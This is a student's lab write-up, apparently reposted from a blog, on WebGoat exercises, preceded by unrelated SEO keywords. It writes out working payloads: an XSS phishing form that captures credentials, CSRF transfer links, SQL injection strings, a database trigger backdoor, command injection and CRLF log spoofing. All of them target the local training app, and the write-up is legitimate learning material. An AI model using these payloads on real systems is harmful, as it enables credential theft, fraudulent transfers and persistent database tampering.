宝坻集团网站建设,dedese网站,东莞市市场监督管理局官网,义务教育标准化建设网站20155202《网络对抗》Exp9 web安全基础实践 实验前回答问题 #xff08;1#xff09;SQL注入攻击原理#xff0c;如何防御 SQL注入产生的原因#xff0c;和栈溢出、XSS等很多其他的攻击方法类似#xff0c;就是未经检查或者未经充分检查的用户输入数据#xff0c;意外变成…20155202《网络对抗》Exp9 web安全基础实践 实验前回答问题 1SQL注入攻击原理如何防御 SQL注入产生的原因和栈溢出、XSS等很多其他的攻击方法类似就是未经检查或者未经充分检查的用户输入数据意外变成了代码被执行。针对于SQL注入则是用户提交的数据被数据库系统编译而产生了开发者预期之外的动作。也就是SQL注入是用户输入的数据在拼接SQL语句的过程中超越了数据本身成为了SQL语句查询逻辑的一部分然后这样被拼接出来的SQL语句被数据库执行产生了开发者预期之外的动作。 解决办法从根本上防止上述类型攻击的手段还是避免数据变成代码被执行时刻分清代码和数据的界限。而具体到SQL注入来说被执行的恶意代码是通过数据库的SQL解释引擎编译得到的所以只要避免用户输入的数据被数据库系统编译就可以了。2XSS攻击的原理如何防御 XSS攻击是Web攻击中最常见的攻击方法之一它是通过对网页注入可执行代码且成功地被浏览器 执行达到攻击的目的形成了一次有效XSS攻击一旦攻击成功它可以获取用户的联系人列 表然后向联系人发送虚假诈骗信息可以删除用户的日志等等有时候还和其他攻击方式同时实 施比如SQL注入攻击服务器和数据库、Click劫持、相对链接劫持等实施钓鱼它带来的危害是巨 大的是web安全的头号大敌 解决方法一种方法是在表单提交或者url参数传递前对需要的参数进行过滤.过滤用户输入的 检查用户输入的内容中是否有非法内容。如尖括号、”引号、 ‘单引号、%百分比符号、;分号、()括号、 符号、加号等。、严格控制输出3CSRF攻击原理如何防御 CSRF概念CSRF跨站点请求伪造(Cross—Site Request Forgery)跟XSS攻击一样存在巨大的危害性你可以这样来理解 攻击者盗用了a的身份以a的名义发送恶意请求对服务器来说这个请求是完全合法的但是却完成了攻击者所期望的一个操作比如以a的名义发送邮件、发消息盗取a的账号添加系统管理员甚至于购买商品、虚拟货币转账等。 解决办法目前防御 CSRF 攻击主要有三种策略验证 HTTP Referer 字段在请求地址中添加 token 并验证在 HTTP 头中自定义属性并验证。WebGoat进行实验 WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上当前提供的训练课程有30多个其中包括跨站点脚本攻击XSS、访问控制、线程安全、操作隐藏字段、操纵参数、弱会话cookie、SQL盲注、数字型SQL注入、字符串型SQL注入、web服务、Open Authentication失效、危险的HTML注释等等。WebGoat提供了一系列web安全学习的教程.接下来就来配置webgoat。但是非常不幸我安装webgoat时候问题百出不知道为什么我的jdk正常java可以运行本以为是jar包的问题按照网上教程将MANIFEST里后加了空格发现没卵子用下载了不同版本的webgoat-jar文件进行安装无济于事最后只能拷老师的虚拟机进行实验不想再在配置电脑上耗费时间了emmm,very goodWebGoat使用8080端口在浏览器上访问localhost:8080/WebGoat进入WebGoat。练习题目 1.Phishing with XSS 网路钓鱼 2.Stored XSS Attacks 存储型xss攻击 3.Reflected XSS Attacks(非存储型xss攻击反射型) 4.Cross Site Request Forgery 5.CSRF Prompt By-Pass 6.Command Injection 7.Numeric SQL Injection 8.LAB:SQL Injection(Stage 3:Numeric SQL Injection) 9.Database Backdoors 10.Log Spoofing XSS练习 1.Phishing with XSS 网路钓鱼 本题要在搜索框中输入XSS攻击代码利用XSS可以在已存在的页面中进一步添加元素的特点。我们先创建一个form让受害人在我们创建的form中填写用户名和密码再添加一段JavaScript代码读取受害人输入的用户名和密码并且将这些信息发送给http://localhost:8080/那一段完整的XSS攻击代码如下/form
scriptfunction hack(){ XSSImagenew Image;XSSImage.srchttp://localhost:8080/WebGoat/catcher?PROPERTYyesuser document.phish.user.value password document.phish.pass.value ;alert(Had this been a real attack... Your credentials were just stolen. User Name document.phish.user.value Password document.phish.pass.value);}
/script
form namephish
br
br
HRH2This feature requires account login:/H2
brbrEnter Username:brinput typetext nameuserbrEnter Password:brinput typepassword name pass
brinput typesubmit namelogin valuelogin onclickhack()
/form
br
br
HR 在搜索框中输入攻击代码后点击搜索会看到一个要求输入用户名密码的表单如图所示然后随便填一下提交这就是传数据回来了攻击成功 2.Stored XSS Attacks 存储型xss攻击 这个就有点弱鸡了创建非法的消息内容导致其他用户访问时载入非预期的页面或内容这个和实验八里面差不多就message中输入一串代码比如scriptalert(you have been died);/script,然后提交后就蹦出来代码了 3.Reflected XSS Attacks(非存储型xss攻击反射型)当输入错误用户信息后服务器校验输入有误返回错误页面并将错误内容展示比如下面这个购物车这时如果我们将带有攻击性的URL作为输入源在zx那里输入scriptalert(lalala);/script就会弹出对话框第2个和第3个效果相同但是原理不同 存储型XSS持久化代码是存储在服务器中的如在个人信息或发表文章等地方加入代码如果没有过滤或过滤不严那么这些代码将储存到服务器中用户访问该页面的时候触发代码执行。这种XSS比较危险容易造成蠕虫盗窃cookie等。反射型XSS非持久化需要欺骗用户自己去点击链接才能触发XSS代码服务器中没有这样的页面和内容一般容易出现在搜索页面。 点击弹出自己的在该网站的cookieCSRF攻击 4.Cross Site Request Forgery 目的写一个URL诱使其他用户点击从而触发CSRF攻击我们可以以图片的的形式将URL放进Message框这时的URL对其他用户是不可见的用户一旦点击图片就会触发一个CSRF事件。在message框中输入代码img srchttp://localhost:8080/WebGoat/attack?Screen277menu900transferFunds4000/其中Screen和menu在当前页面的右边Parameters进行查看提交后会在消息列表中看到一个新的消息点击该消息当前页面就会下载这个消息并显示出来转走用户的4000元从而达到CSRF攻击的目的。5.CSRF Prompt By-Pass 包括了两个请求一是转账请求二是确认转账成功请求即需要额外传递两个参数给服务器transferFunds4000transferFundsCONFIRM 先在浏览器中手动输入URLlocalhost:8080/WebGoat/attack?Screen267menu900transferFunds100进入确认转账请求页面转账请求点击CONFIRM按钮再在浏览器中输入URLlocalhost:8080/WebGoat/attack?Screen268menu900transferFundsCONFIRM成功转走了100元确认转账成功Injection Flaws训练 6.Command Injection 在目标主机上执行系统命令通过火狐浏览器下的Firebug对源代码进行修改在BackDoors.help旁边加上 netstat -an ipconfig之后在下拉菜单中能看到修改后的值选中修改后的值再点view出现系统网络连接情况7.Numeric SQL Injection 通过注入SQL字符串的方式查看所有的天气数据加上一个11这种永真式即可达到目的在任意一个值比如101旁边加上or 11选中Columbia点Go可以看到所有天气数据 LAB:SQL Injection(Stage 1:String SQL Injection)先以用户Neville登录在密码栏中输入 or 11 --进行SQL注入登录失败到源代码里寻找原因发现最大键入值有问题就八位太小了改成30位再退出重新登录成功8.LAB:SQL Injection(Stage 3:Numeric SQL Injection) 先以用户名Larry登录登录之后看到浏览员工信息的按钮是ViewProfile 在网页代码中分析这个按钮发现这个地方是以员工ID作为索引传递参数的我们要达到通过Larry来浏览老板账户信息的目的老板的工资都应该是最高的所以把其中的value值改为101 or 11 order by salary desc --这样老板的信息就会被排到第一个重新登录可以查看到老板的信息9.Database Backdoors 先输101得到了该用户的信息发现输入的语句没有验证可以进行SQL注入输入注入语句101; update employee set salary200000攻击成功注入101 or 11;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email20155202qq.com WHERE userid NEW.userid 表中一旦添加新用户那么就在用户表里将新用户的邮箱改为我设置的邮箱。10.Log Spoofing 输入的用户名会被追加到日志文件中所以我们可以使用障眼法来使用户名为“admin”的用户在日志中显示“成功登录”在User Name文本框中输入zx%0d%0aLogin Succeeded for username: admin其中%0d是回车%0a是换行符攻击成功实验体会 这次实验我webgoat安装不上就很难受最难受的应该是这个写了一晚上博客最后想Ctrl ACtrl C到有道云失手成了Ctrl V然后发现博客园后台没有Ctrl Z这篇博客是在误删后重新写的有些地方描述不是很准确写的比较急了第二次。 这次实验通过使用webgoat做了一系列的sqlCSRF和xss攻击使我对这几种攻击方式有了更清楚的区分和理解让我对我们这些菜鸡编出来的代码极度的否定态度没有找不出来的漏洞所以在信息安全这条道路上好好的体会琢磨吧道阻且艰转载于:https://www.cnblogs.com/zx20155202/p/9031601.html